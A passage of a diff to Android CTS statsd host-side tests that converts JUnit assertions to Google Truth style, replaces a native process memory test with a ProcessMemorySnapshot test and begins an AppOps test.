+            .that(ourList).isNotNull();
 
         // Make sure that the report is correct.
         List<EventMetricData> data = getEventMetricDataList(ourList);
         AppBreadcrumbReported atom = data.get(0).getAtom().getAppBreadcrumbReported();
-        assertTrue(atom.getLabel() == 1);
-        assertTrue(atom.getState().getNumber() == AppBreadcrumbReported.State.START_VALUE);
+        assertThat(atom.getLabel()).isEqualTo(1);
+        assertThat(atom.getState().getNumber()).isEqualTo(AppBreadcrumbReported.State.START_VALUE);
     }
 
     public void testConnectivityStateChange() throws Exception {
@@ -657,6 +662,7 @@
                 foundConnectEvent = true;
             }
         }
-        assertTrue(foundConnectEvent && foundDisconnectEvent);
+        assertThat(foundConnectEvent).isTrue();
+        assertThat(foundDisconnectEvent).isTrue();
     }
 }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
index 5fecde5..070d3f4 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
@@ -15,6 +15,8 @@
  */
 package android.cts.statsd.atom;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.app.ProcessStateEnum; // From enums.proto for atoms.proto's UidProcessStateChanged.
 
 import com.android.os.AtomsProto.Atom;
@@ -248,8 +250,8 @@
         if (statsdDisabled()) {
             return;
         }
-        assertFalse("UNKNOWN_TO_PROTO should not be a valid state",
-                ALL_STATES.contains(ProcessStateEnum.PROCESS_STATE_UNKNOWN_TO_PROTO_VALUE));
+        assertWithMessage("UNKNOWN_TO_PROTO should not be a valid state")
+            .that(ALL_STATES).doesNotContain(ProcessStateEnum.PROCESS_STATE_UNKNOWN_TO_PROTO_VALUE);
     }
 
     /** Returns the a set containing elements of a that are not elements of b. */
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index c279c49..a51af81 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -15,6 +15,9 @@
  */
 package android.cts.statsd.atom;
 
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.net.wifi.WifiModeEnum;
 import android.os.WakeLockLevelEnum;
 import android.server.ErrorSource;
@@ -24,6 +27,7 @@
 import com.android.os.AtomsProto;
 import com.android.os.AtomsProto.ANROccurred;
 import com.android.os.AtomsProto.AppCrashOccurred;
+import com.android.os.AtomsProto.AppOps;
 import com.android.os.AtomsProto.AppStartOccurred;
 import com.android.os.AtomsProto.Atom;
 import com.android.os.AtomsProto.AttributionNode;
@@ -41,10 +45,10 @@
 import com.android.os.AtomsProto.LooperStats;
 import com.android.os.AtomsProto.LmkKillOccurred;
 import com.android.os.AtomsProto.MediaCodecStateChanged;
-import com.android.os.AtomsProto.NativeProcessMemoryState;
 import com.android.os.AtomsProto.OverlayStateChanged;
 import com.android.os.AtomsProto.PictureInPictureStateChanged;
 import com.android.os.AtomsProto.ProcessMemoryHighWaterMark;
+import com.android.os.AtomsProto.ProcessMemorySnapshot;
 import com.android.os.AtomsProto.ProcessMemoryState;
 import com.android.os.AtomsProto.ScheduledJobStateChanged;
 import com.android.os.AtomsProto.SyncStateChanged;
@@ -58,6 +62,8 @@
 import com.android.os.StatsLog.EventMetricData;
 import com.android.tradefed.log.LogUtil;
 
+import com.google.common.collect.Range;
+
 import java.util.Arrays;
 import java.util.HashSet;
 import java.util.List;
@@ -102,12 +108,12 @@
         // Sorted list of events in order in which they occurred.
         List<EventMetricData> data = getEventMetricDataList();
 
-        assertEquals(1, data.size());
-        assertTrue(data.get(0).getAtom().hasLmkKillOccurred());
+        assertThat(data).hasSize(1);
+        assertThat(data.get(0).getAtom().hasLmkKillOccurred()).isTrue();
         LmkKillOccurred atom = data.get(0).getAtom().getLmkKillOccurred();
-        assertEquals(getUid(), atom.getUid());
-        assertEquals(DEVICE_SIDE_TEST_PACKAGE, atom.getProcessName());
-        assertTrue(500 <= atom.getOomAdjScore());
+        assertThat(atom.getUid()).isEqualTo(getUid());
+        assertThat(atom.getProcessName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
+        assertThat(atom.getOomAdjScore()).isAtLeast(500);
     }
 
     public void testAppCrashOccurred() throws Exception {
@@ -125,11 +131,12 @@
         List<EventMetricData> data = getEventMetricDataList();
 
         AppCrashOccurred atom = data.get(0).getAtom().getAppCrashOccurred();
-        assertEquals("crash", atom.getEventType());
-        assertEquals(AppCrashOccurred.InstantApp.FALSE_VALUE, atom.getIsInstantApp().getNumber());
-        assertEquals(AppCrashOccurred.ForegroundState.FOREGROUND_VALUE,
-                atom.getForegroundState().getNumber());
-        assertEquals("com.android.server.cts.device.statsd", atom.getPackageName());
+        assertThat(atom.getEventType()).isEqualTo("crash");
+        assertThat(atom.getIsInstantApp().getNumber())
+            .isEqualTo(AppCrashOccurred.InstantApp.FALSE_VALUE);
+        assertThat(atom.getForegroundState().getNumber())
+            .isEqualTo(AppCrashOccurred.ForegroundState.FOREGROUND_VALUE);
+        assertThat(atom.getPackageName()).isEqualTo("com.android.server.cts.device.statsd");
     }
 
     public void testAppStartOccurred() throws Exception {
@@ -147,12 +154,12 @@
         List<EventMetricData> data = getEventMetricDataList();
 
         AppStartOccurred atom = data.get(0).getAtom().getAppStartOccurred();
-        assertEquals("com.android.server.cts.device.statsd", atom.getPkgName());
-        assertEquals("com.android.server.cts.device.statsd.StatsdCtsForegroundActivity",
-                atom.getActivityName());
-        assertFalse(atom.getIsInstantApp());
-        assertTrue(atom.getActivityStartMillis() > 0);
-        assertTrue(atom.getTransitionDelayMillis() > 0);
+        assertThat(atom.getPkgName()).isEqualTo("com.android.server.cts.device.statsd");
+        assertThat(atom.getActivityName())
+            .isEqualTo("com.android.server.cts.device.statsd.StatsdCtsForegroundActivity");
+        assertThat(atom.getIsInstantApp()).isFalse();
+        assertThat(atom.getActivityStartMillis()).isGreaterThan(0L);
+        assertThat(atom.getTransitionDelayMillis()).isGreaterThan(0);
     }
 
     public void testAudioState() throws Exception {
@@ -204,8 +211,8 @@
 
         BleScanStateChanged a0 = data.get(0).getAtom().getBleScanStateChanged();
         BleScanStateChanged a1 = data.get(1).getAtom().getBleScanStateChanged();
-        assertTrue(a0.getState().getNumber() == stateOn);
-        assertTrue(a1.getState().getNumber() == stateOff);
+        assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
+        assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
     }
 
     public void testBleUnoptimizedScan() throws Exception {
@@ -225,15 +232,15 @@
                 stateOn, stateOff, minTimeDiffMillis, maxTimeDiffMillis, true);
 
         BleScanStateChanged a0 = data.get(0).getAtom().getBleScanStateChanged();
-        assertTrue(a0.getState().getNumber() == stateOn);
-        assertFalse(a0.getIsFiltered());
-        assertFalse(a0.getIsFirstMatch());
-        assertFalse(a0.getIsOpportunistic());
+        assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
+        assertThat(a0.getIsFiltered()).isFalse();
+        assertThat(a0.getIsFirstMatch()).isFalse();
+        assertThat(a0.getIsOpportunistic()).isFalse();
         BleScanStateChanged a1 = data.get(1).getAtom().getBleScanStateChanged();
-        assertTrue(a1.getState().getNumber() == stateOff);
-        assertFalse(a1.getIsFiltered());
-        assertFalse(a1.getIsFirstMatch());
-        assertFalse(a1.getIsOpportunistic());
+        assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
+        assertThat(a1.getIsFiltered()).isFalse();
+        assertThat(a1.getIsFirstMatch()).isFalse();
+        assertThat(a1.getIsOpportunistic()).isFalse();
 
 
         // Now repeat the test for opportunistic scanning and make sure it is reported correctly.
@@ -241,15 +248,15 @@
                 stateOn, stateOff, minTimeDiffMillis, maxTimeDiffMillis, true);
 
         a0 = data.get(0).getAtom().getBleScanStateChanged();
-        assertTrue(a0.getState().getNumber() == stateOn);
-        assertFalse(a0.getIsFiltered());
-        assertFalse(a0.getIsFirstMatch());
-        assertTrue(a0.getIsOpportunistic());  // This scan is opportunistic.
+        assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
+        assertThat(a0.getIsFiltered()).isFalse();
+        assertThat(a0.getIsFirstMatch()).isFalse();
+        assertThat(a0.getIsOpportunistic()).isTrue();  // This scan is opportunistic.
         a1 = data.get(1).getAtom().getBleScanStateChanged();
-        assertTrue(a1.getState().getNumber() == stateOff);
-        assertFalse(a1.getIsFiltered());
-        assertFalse(a1.getIsFirstMatch());
-        assertTrue(a1.getIsOpportunistic());
+        assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
+        assertThat(a1.getIsFiltered()).isFalse();
+        assertThat(a1.getIsFirstMatch()).isFalse();
+        assertThat(a1.getIsOpportunistic()).isTrue();
     }
 
     public void testBleScanResult() throws Exception {
@@ -265,9 +272,9 @@
         addAtomEvent(conf, atom, createFvm(field).setGteInt(0));
         List<EventMetricData> data = doDeviceMethod("testBleScanResult", conf);
 
-        assertTrue(data.size() >= 1);
+        assertThat(data.size()).isAtLeast(1);
         BleScanResultReceived a0 = data.get(0).getAtom().getBleScanResultReceived();
-        assertTrue(a0.getNumResults() >= 1);
+        assertThat(a0.getNumResults()).isAtLeast(1);
     }
 
     public void testHiddenApiUsed() throws Exception {
@@ -289,15 +296,15 @@
 
 
             List<EventMetricData> data = getEventMetricDataList();
-            assertTrue(data.size() == 1);
+            assertThat(data).hasSize(1);
 
             HiddenApiUsed atom = data.get(0).getAtom().getHiddenApiUsed();
 
             int uid = getUid();
-            assertEquals(uid, atom.getUid());
-            assertFalse(atom.getAccessDenied());
-            assertEquals("Landroid/app/Activity;->mWindow:Landroid/view/Window;",
-                    atom.getSignature());
+            assertThat(atom.getUid()).isEqualTo(uid);
+            assertThat(atom.getAccessDenied()).isFalse();
+            assertThat(atom.getSignature())
+                .isEqualTo("Landroid/app/Activity;->mWindow:Landroid/view/Window;");
         } finally {
             if (!oldRate.equals("null")) {
                 getDevice().executeShellCommand(
@@ -359,11 +366,11 @@
         for (Atom atom : atomList) {
             if (atom.getCpuTimePerUid().getUid() == uid) {
                 found = true;
-                assertTrue(atom.getCpuTimePerUid().getUserTimeMicros() > 0);
-                assertTrue(atom.getCpuTimePerUid().getSysTimeMicros() > 0);
+                assertThat(atom.getCpuTimePerUid().getUserTimeMicros()).isGreaterThan(0L);
+                assertThat(atom.getCpuTimePerUid().getSysTimeMicros()).isGreaterThan(0L);
             }
         }
-        assertTrue("found uid " + uid, found);
+        assertWithMessage(String.format("did not find uid %d", uid)).that(found).isTrue();
     }
 
     public void testDeviceCalculatedPowerUse() throws Exception {
@@ -384,7 +391,8 @@
         Thread.sleep(WAIT_TIME_LONG);
 
         Atom atom = getGaugeMetricDataList().get(0);
-        assertTrue(atom.getDeviceCalculatedPowerUse().getComputedPowerNanoAmpSecs() > 0);
+        assertThat(atom.getDeviceCalculatedPowerUse().getComputedPowerNanoAmpSecs())
+            .isGreaterThan(0L);
     }
 
 
@@ -413,13 +421,15 @@
         for (Atom atom : atomList) {
             DeviceCalculatedPowerBlameUid item = atom.getDeviceCalculatedPowerBlameUid();
                 if (item.getUid() == uid) {
-                assertFalse("Found multiple power values for uid " + uid, uidFound);
+                assertWithMessage(String.format("Found multiple power values for uid %d", uid))
+                    .that(uidFound).isFalse();
                 uidFound = true;
                 uidPower = item.getPowerNanoAmpSecs();
             }
         }
-        assertTrue("No power value for uid " + uid, uidFound);
-        assertTrue("Non-positive power value for uid " + uid, uidPower > 0);
+        assertWithMessage(String.format("No power value for uid %d", uid)).that(uidFound).isTrue();
+        assertWithMessage(String.format("Non-positive power value for uid %d", uid))
+            .that(uidPower).isGreaterThan(0L);
     }
 
     public void testDavey() throws Exception {
@@ -435,12 +445,10 @@
         runActivity("DaveyActivity", null, null);
 
         List<EventMetricData> data = getEventMetricDataList();
-        assertTrue(data.size() == 1);
+        assertThat(data).hasSize(1);
         long duration = data.get(0).getAtom().getDaveyOccurred().getJankDurationMillis();
-        assertTrue("Jank duration of " + duration + "ms was less than " + MIN_DURATION + "ms",
-                duration >= MIN_DURATION);
-        assertTrue("Jank duration of " + duration + "ms was longer than " + MAX_DURATION + "ms",
-                duration <= MAX_DURATION);
+        assertWithMessage("Incorrect jank duration")
+            .that(duration).isIn(Range.closed(MIN_DURATION, MAX_DURATION));
     }
 
     public void testFlashlightState() throws Exception {
@@ -526,8 +534,8 @@
 
             GpsScanStateChanged a0 = data.get(0).getAtom().getGpsScanStateChanged();
             GpsScanStateChanged a1 = data.get(1).getAtom().getGpsScanStateChanged();
-            assertTrue(a0.getState().getNumber() == stateOn);
-            assertTrue(a1.getState().getNumber() == stateOff);
+            assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
+            assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
         } finally {
             if ("null".equals(origWhitelist) || "".equals(origWhitelist)) {
                 getDevice().executeShellCommand(
@@ -657,7 +665,8 @@
                 atom -> atom.getScheduledJobStateChanged().getState().getNumber());
 
         for (EventMetricData e : data) {
-            assertTrue(e.getAtom().getScheduledJobStateChanged().getJobName().equals(expectedName));
+            assertThat(e.getAtom().getScheduledJobStateChanged().getJobName())
+                .isEqualTo(expectedName);
         }
     }
 
@@ -783,10 +792,8 @@
         for (EventMetricData event: data) {
             String tag = event.getAtom().getWakelockStateChanged().getTag();
             WakeLockLevelEnum type = event.getAtom().getWakelockStateChanged().getType();
-            assertTrue("Expected tag: " + EXPECTED_TAG + ", but got tag: " + tag,
-                    tag.equals(EXPECTED_TAG));
-            assertTrue("Expected wakelock type: " + EXPECTED_LEVEL  + ", but got level: " + type,
-                    type == EXPECTED_LEVEL);
+            assertThat(tag).isEqualTo(EXPECTED_TAG);
+            assertThat(type).isEqualTo(EXPECTED_LEVEL);
         }
     }
 
@@ -803,11 +810,11 @@
         addAtomEvent(config, atomTag, true);  // True: uses attribution.
 
         List<EventMetricData> data = doDeviceMethod("testWakeupAlarm", config);
-        assertTrue(data.size() >= 1);
+        assertThat(data.size()).isAtLeast(1);
         for (int i = 0; i < data.size(); i++) {
             WakeupAlarmOccurred wao = data.get(i).getAtom().getWakeupAlarmOccurred();
-            assertEquals("*walarm*:android.cts.statsd.testWakeupAlarm", wao.getTag());
-            assertEquals(DEVICE_SIDE_TEST_PACKAGE, wao.getPackageName());
+            assertThat(wao.getTag()).isEqualTo("*walarm*:android.cts.statsd.testWakeupAlarm");
+            assertThat(wao.getPackageName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
         }
     }
 
@@ -836,8 +843,8 @@
                 atom -> atom.getWifiLockStateChanged().getState().getNumber());
 
         for (EventMetricData event : data) {
-            assertEquals(WifiModeEnum.WIFI_MODE_FULL_HIGH_PERF,
-                         event.getAtom().getWifiLockStateChanged().getMode());
+            assertThat(event.getAtom().getWifiLockStateChanged().getMode())
+                .isEqualTo(WifiModeEnum.WIFI_MODE_FULL_HIGH_PERF);
         }
     }
 
@@ -866,8 +873,8 @@
                 atom -> atom.getWifiLockStateChanged().getState().getNumber());
 
         for (EventMetricData event : data) {
-            assertEquals(WifiModeEnum.WIFI_MODE_FULL_LOW_LATENCY,
-                         event.getAtom().getWifiLockStateChanged().getMode());
+            assertThat(event.getAtom().getWifiLockStateChanged().getMode())
+                .isEqualTo(WifiModeEnum.WIFI_MODE_FULL_LOW_LATENCY);
         }
     }
 
@@ -901,7 +908,7 @@
 
         for (EventMetricData event: data) {
             String tag = event.getAtom().getWifiMulticastLockStateChanged().getTag();
-            assertEquals("Wrong tag.", EXPECTED_TAG, tag);
+            assertThat(tag).isEqualTo(EXPECTED_TAG);
         }
     }
 
@@ -922,12 +929,11 @@
         List<EventMetricData> data = doDeviceMethodOnOff("testWifiScan", atom, key,
                 stateOn, stateOff, minTimeDiffMillis, maxTimeDiffMillis, demandExactlyTwo);
 
-        assertTrue(data.size() >= 2);
-        assertTrue(data.size() <= 4);
+        assertThat(data.size()).isIn(Range.closed(2, 4));
         WifiScanStateChanged a0 = data.get(0).getAtom().getWifiScanStateChanged();
         WifiScanStateChanged a1 = data.get(1).getAtom().getWifiScanStateChanged();
-        assertTrue(a0.getState().getNumber() == stateOn);
-        assertTrue(a1.getState().getNumber() == stateOff);
+        assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
+        assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
     }
 
     public void testBinderStats() throws Exception {
@@ -963,20 +969,16 @@
 
                 if (calls.getUid() == uid && classMatches && methodMatches) {
                     found = true;
-                    assertTrue("Call count should not be negative or equal to 0.",
-                            calls.getRecordedCallCount() > 0);
-                    assertTrue("Call count should not be negative or equal to 0.",
-                            calls.getCallCount() > 0);
-                    assertTrue("Wrong latency",
-                            calls.getRecordedTotalLatencyMicros() > 0
-                            && calls.getRecordedTotalLatencyMicros() < 1000000);
-                    assertTrue("Wrong cpu usage",
-                            calls.getRecordedTotalCpuMicros() > 0
-                            && calls.getRecordedTotalCpuMicros() < 1000000);
+                    assertThat(calls.getRecordedCallCount()).isGreaterThan(0L);
+                    assertThat(calls.getCallCount()).isGreaterThan(0L);
+                    assertThat(calls.getRecordedTotalLatencyMicros())
+                        .isIn(Range.open(0L, 1000000L));
+                    assertThat(calls.getRecordedTotalCpuMicros()).isIn(Range.open(0L, 1000000L));
                 }
             }
 
-            assertTrue("Did not find a matching atom for uid " + uid, found);
+            assertWithMessage(String.format("Did not find a matching atom for uid %d", uid))
+                .that(found).isTrue();
 
         } finally {
             disableBinderStats();
@@ -1017,34 +1019,21 @@
                                 notificationServiceFullName + "$EnqueueNotificationRunnable");
                 if (atom.getLooperStats().getUid() == uid && handlerMatches && messageMatches) {
                     found = true;
-                    assertTrue(stats.getMessageCount() > 0);
-                    assertTrue("Message count should be non-negative.",
-                            stats.getMessageCount() > 0);
-                    assertTrue("Recorded message count should be non-negative.",
-                            stats.getRecordedMessageCount() > 0);
-                    assertTrue("Wrong latency",
-                            stats.getRecordedTotalLatencyMicros() > 0
-                                    && stats.getRecordedTotalLatencyMicros() < 1000000);
-                    assertTrue("Wrong cpu usage",
-                            stats.getRecordedTotalCpuMicros() > 0
-                                    && stats.getRecordedTotalCpuMicros() < 1000000);
-                    assertTrue("Wrong max latency",
-                            stats.getRecordedMaxLatencyMicros() > 0
-                                    && stats.getRecordedMaxLatencyMicros() < 1000000);
-                    assertTrue("Wrong max cpu usage",
-                            stats.getRecordedMaxCpuMicros() > 0
-                                    && stats.getRecordedMaxCpuMicros() < 1000000);
-                    assertTrue("Recorded delay message count should be non-negative.",
-                            stats.getRecordedDelayMessageCount() > 0);
-                    assertTrue("Wrong delay",
-                            stats.getRecordedTotalDelayMillis() >= 0
-                                    && stats.getRecordedTotalDelayMillis() < 5000);
-                    assertTrue("Wrong max delay",
-                            stats.getRecordedMaxDelayMillis() >= 0
-                                    && stats.getRecordedMaxDelayMillis() < 5000);
+                    assertThat(stats.getMessageCount()).isGreaterThan(0L);
+                    assertThat(stats.getRecordedMessageCount()).isGreaterThan(0L);
+                    assertThat(stats.getRecordedTotalLatencyMicros())
+                        .isIn(Range.open(0L, 1000000L));
+                    assertThat(stats.getRecordedTotalCpuMicros()).isIn(Range.open(0L, 1000000L));
+                    assertThat(stats.getRecordedMaxLatencyMicros()).isIn(Range.open(0L, 1000000L));
+                    assertThat(stats.getRecordedMaxCpuMicros()).isIn(Range.open(0L, 1000000L));
+                    assertThat(stats.getRecordedDelayMessageCount()).isGreaterThan(0L);
+                    assertThat(stats.getRecordedTotalDelayMillis())
+                        .isIn(Range.closedOpen(0L, 5000L));
+                    assertThat(stats.getRecordedMaxDelayMillis()).isIn(Range.closedOpen(0L, 5000L));
                 }
             }
-            assertTrue("Did not find a matching atom for uid " + uid, found);
+            assertWithMessage(String.format("Did not find a matching atom for uid %d", uid))
+                .that(found).isTrue();
         } finally {
             cleanUpLooperStats();
             plugInAc();
@@ -1081,53 +1070,16 @@
                 continue;
             }
             found = true;
-            assertEquals(DEVICE_SIDE_TEST_PACKAGE, state.getProcessName());
-            assertTrue("oom_score should not be negative", state.getOomAdjScore() >= 0);
-            assertTrue("page_fault should not be negative", state.getPageFault() >= 0);
-            assertTrue("page_major_fault should not be negative", state.getPageMajorFault() >= 0);
-            assertTrue("rss_in_bytes should be positive", state.getRssInBytes() > 0);
-            assertTrue("cache_in_bytes should not be negative", state.getCacheInBytes() >= 0);
-            assertTrue("swap_in_bytes should not be negative", state.getSwapInBytes() >= 0);
-            assertTrue("start_time_nanos should be positive", state.getStartTimeNanos() > 0);
-            assertTrue("start_time_nanos should be in the past",
-                    state.getStartTimeNanos() < System.nanoTime());
+            assertThat(state.getProcessName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
+            assertThat(state.getOomAdjScore()).isAtLeast(0);
+            assertThat(state.getPageFault()).isAtLeast(0L);
+            assertThat(state.getPageMajorFault()).isAtLeast(0L);
+            assertThat(state.getRssInBytes()).isGreaterThan(0L);
+            assertThat(state.getCacheInBytes()).isAtLeast(0L);
+            assertThat(state.getSwapInBytes()).isAtLeast(0L);
         }
-        assertTrue("Did not find a matching atom for uid=" + uid, found);
-    }
-
-    public void testNativeProcessMemoryState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
-        // Get NativeProcessState as a simple gauge metric.
-        StatsdConfig.Builder config = getPulledConfig();
-        addGaugeAtomWithDimensions(config, Atom.NATIVE_PROCESS_MEMORY_STATE_FIELD_NUMBER, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Trigger new pull.
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        // Assert about NativeProcessMemoryState for statsd.
-        List<Atom> atoms = getGaugeMetricDataList();
-        boolean found = false;
-        for (Atom atom : atoms) {
-            NativeProcessMemoryState state = atom.getNativeProcessMemoryState();
-            if (!state.getProcessName().contains("/statsd")) {
-                continue;
-            }
-            found = true;
-            assertTrue("uid is below 10000", state.getUid() < 10000);
-            assertTrue("page_fault should not be negative", state.getPageFault() >= 0);
-            assertTrue("page_major_fault should not be negative", state.getPageMajorFault() >= 0);
-            assertTrue("rss_in_bytes should be positive", state.getRssInBytes() > 0);
-            assertTrue("start_time_nanos should be positive", state.getStartTimeNanos() > 0);
-            assertTrue("start_time_nanos should be in the past",
-                    state.getStartTimeNanos() < System.nanoTime());
-        }
-        assertTrue("Did not find a matching atom for statsd", found);
+        assertWithMessage(String.format("Did not find a matching atom for uid %d", uid))
+            .that(found).isTrue();
     }
 
     public void testProcessMemoryHighWaterMark() throws Exception {
@@ -1135,13 +1087,13 @@
             return;
         }
 
-        // Get ProcessMemoryState as a simple gauge metric.
+        // Get ProcessMemoryHighWaterMark as a simple gauge metric.
         StatsdConfig.Builder config = getPulledConfig();
         addGaugeAtomWithDimensions(config, Atom.PROCESS_MEMORY_HIGH_WATER_MARK_FIELD_NUMBER, null);
         uploadConfig(config);
         Thread.sleep(WAIT_TIME_SHORT);
 
-        // Start test app and trigger a pull while its running.
+        // Start test app and trigger a pull while it is running.
         try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
                 "action.show_notification")) {
             setAppBreadcrumbPredicate();
@@ -1158,22 +1110,71 @@
             ProcessMemoryHighWaterMark state = atom.getProcessMemoryHighWaterMark();
             if (state.getUid() == uid) {
                 foundTestApp = true;
-                assertEquals(DEVICE_SIDE_TEST_PACKAGE, state.getProcessName());
-                assertTrue("rss_high_water_mark_in_bytes should be positive",
-                        state.getRssHighWaterMarkInBytes() > 0);
+                assertThat(state.getProcessName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
+                assertThat(state.getRssHighWaterMarkInBytes()).isGreaterThan(0L);
             } else if (state.getProcessName().contains("/statsd")) {
                 foundStatsd = true;
-                assertTrue("rss_high_water_mark_in_bytes should be positive",
-                        state.getRssHighWaterMarkInBytes() > 0);
+                assertThat(state.getRssHighWaterMarkInBytes()).isGreaterThan(0L);
             } else if (state.getProcessName().equals("system")) {
                 foundSystemServer = true;
-                assertTrue("rss_high_water_mark_in_bytes should be positive",
-                        state.getRssHighWaterMarkInBytes() > 0);
+                assertThat(state.getRssHighWaterMarkInBytes()).isGreaterThan(0L);
             }
         }
-        assertTrue("Did not find a matching atom for test app uid=" + uid, foundTestApp);
-        assertTrue("Did not find a matching atom for statsd", foundStatsd);
-        assertTrue("Did not find a matching atom for system server", foundSystemServer);
+        assertWithMessage(String.format("Did not find a matching atom for test app uid=%d",uid))
+            .that(foundTestApp).isTrue();
+        assertWithMessage("Did not find a matching atom for statsd").that(foundStatsd).isTrue();
+        assertWithMessage("Did not find a matching atom for system server")
+            .that(foundSystemServer).isTrue();
+    }
+
+    public void testProcessMemorySnapshot() throws Exception {
+        if (statsdDisabled()) {
+            return;
+        }
+
+        // Get ProcessMemorySnapshot as a simple gauge metric.
+        StatsdConfig.Builder config = getPulledConfig();
+        addGaugeAtomWithDimensions(config, Atom.PROCESS_MEMORY_SNAPSHOT_FIELD_NUMBER, null);
+        uploadConfig(config);
+        Thread.sleep(WAIT_TIME_SHORT);
+
+        // Start test app and trigger a pull while it is running.
+        try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
+                "action.show_notification")) {
+            setAppBreadcrumbPredicate();
+            Thread.sleep(WAIT_TIME_LONG);
+        }
+
+        // Assert about ProcessMemorySnapshot for the test app, statsd and system server.
+        List<Atom> atoms = getGaugeMetricDataList();
+        int uid = getUid();
+        boolean foundTestApp = false;
+        boolean foundStatsd = false;
+        boolean foundSystemServer = false;
+        for (Atom atom : atoms) {
+          ProcessMemorySnapshot snapshot = atom.getProcessMemorySnapshot();
+          if (snapshot.getUid() == uid) {
+              foundTestApp = true;
+              assertThat(snapshot.getProcessName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
+          } else if (snapshot.getProcessName().contains("/statsd")) {
+              foundStatsd = true;
+          } else if (snapshot.getProcessName().equals("system")) {
+              foundSystemServer = true;
+          }
+
+          assertThat(snapshot.getPid()).isGreaterThan(0);
+          assertThat(snapshot.getAnonRssAndSwapInKilobytes()).isGreaterThan(0);
+          assertThat(snapshot.getAnonRssAndSwapInKilobytes()).isEqualTo(
+                  snapshot.getAnonRssInKilobytes() + snapshot.getSwapInKilobytes());
+          assertThat(snapshot.getRssInKilobytes()).isAtLeast(0);
+          assertThat(snapshot.getAnonRssInKilobytes()).isAtLeast(0);
+          assertThat(snapshot.getSwapInKilobytes()).isAtLeast(0);
+        }
+        assertWithMessage(String.format("Did not find a matching atom for test app uid=%d",uid))
+            .that(foundTestApp).isTrue();
+        assertWithMessage("Did not find a matching atom for statsd").that(foundStatsd).isTrue();
+        assertWithMessage("Did not find a matching atom for system server")
+            .that(foundSystemServer).isTrue();
     }
 
     /**
@@ -1216,20 +1217,20 @@
         for (Atom atom : getGaugeMetricDataList()) {
             AtomsProto.RoleHolder roleHolder = atom.getRoleHolder();
 
-            assertNotNull(roleHolder.getPackageName());
-            assertTrue(roleHolder.getUid() >= 0);
-            assertNotNull(roleHolder.getRole());
+            assertThat(roleHolder.getPackageName()).isNotNull();
+            assertThat(roleHolder.getUid()).isAtLeast(0);
+            assertThat(roleHolder.getRole()).isNotNull();
 
             if (roleHolder.getPackageName().equals(DEVICE_SIDE_TEST_PACKAGE)) {
-                assertEquals(testAppId, getAppId(roleHolder.getUid()));
-                assertEquals(DEVICE_SIDE_TEST_PACKAGE, roleHolder.getPackageName());
-                assertEquals(callScreenAppRole, roleHolder.getRole());
+                assertThat(getAppId(roleHolder.getUid())).isEqualTo(testAppId);
+                assertThat(roleHolder.getPackageName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
+                assertThat(roleHolder.getRole()).isEqualTo(callScreenAppRole);
 
                 verifiedKnowRoleState = true;
             }
         }
 
-        assertTrue(verifiedKnowRoleState);
+        assertThat(verifiedKnowRoleState).isTrue();
     }
 
     public void testDangerousPermissionState() throws Exception {
@@ -1257,26 +1258,52 @@
         for (Atom atom : getGaugeMetricDataList()) {
             DangerousPermissionState permissionState = atom.getDangerousPermissionState();
 
-            assertNotNull(permissionState.getPermissionName());
-            assertTrue(permissionState.getUid() >= 0);
-            assertNotNull(permissionState.getPackageName());
+            assertThat(permissionState.getPermissionName()).isNotNull();
+            assertThat(permissionState.getUid()).isAtLeast(0);
+            assertThat(permissionState.getPackageName()).isNotNull();
 
             if (permissionState.getPackageName().equals(DEVICE_SIDE_TEST_PACKAGE)) {
-                assertEquals(testAppId, getAppId(permissionState.getUid()));
+                assertThat(getAppId(permissionState.getUid())).isEqualTo(testAppId);
 
                 if (permissionState.getPermissionName().equals(
                         "android.permission.ACCESS_FINE_LOCATION")) {
-                    assertTrue(permissionState.getIsGranted());
-                    assertEquals(0, permissionState.getPermissionFlags() & (~(
+                    assertThat(permissionState.getIsGranted()).isTrue();
+                    assertThat(permissionState.getPermissionFlags() & (~(
                             FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED
-                                    | FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED)));
+                            | FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED)))
+                        .isEqualTo(0);
 
                     verifiedKnowPermissionState = true;
                 }
             }
         }
 
-        assertTrue(verifiedKnowPermissionState);
+        assertThat(verifiedKnowPermissionState).isTrue();
+    }
+
+    public void testAppOps() throws Exception {
+        if (statsdDisabled()) {
+            return;
+        }
+
+        // Set up what to collect
+        StatsdConfig.Builder config = getPulledConfig();
+        addGaugeAtomWithDimensions(config, Atom.APP_OPS_FIELD_NUMBER, null);
+        uploadConfig(config);
